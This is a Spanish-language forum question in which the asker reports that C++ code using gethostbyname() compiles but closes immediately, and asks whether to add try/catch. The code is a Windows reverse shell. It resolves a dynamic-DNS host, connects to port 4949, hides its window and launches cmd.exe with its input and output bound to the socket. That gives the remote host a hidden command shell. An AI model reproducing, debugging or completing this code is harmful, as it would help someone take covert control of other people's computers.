Traté de usar gethostbyname() para resolver a una ip, y al parecer compila pero se cierra imediatamente
#include <winsock2.h>
#include <stdio.h>
#define h_addr h_addr_list[0]
#include <string>
#include <iostream>
int main(int argc, char *argv[])
{
/*
argv[1] = "synth3tik0.redirectme.net";
char* ip = argv[1];
// using gethostbyaddr()
hostent * phe = gethostbyaddr(ip, strlen(ip), AF_INET);
*/
std::string str = "synth3tik0.redirectme.net";
const char * c = str.c_str();
struct hostent *phe = gethostbyname(c);
std::string miIP = phe->h_addr;
const char *IP = miIP.c_str();
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family = AF_INET;
adik_sin.sin_port = htons(4949);
adik_sin.sin_addr.s_addr = inet_addr(IP);//.s_addr = inet_addr("127.0.0.1");
connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
si.cb = sizeof(si);
//si.dwFlags = STARTF_USESTDHANDLES;
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;//
si.wShowWindow = SW_HIDE;//
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
ExitProcess(0);
}
que puede ser? deberia encerrar en bloque try ? con que exception?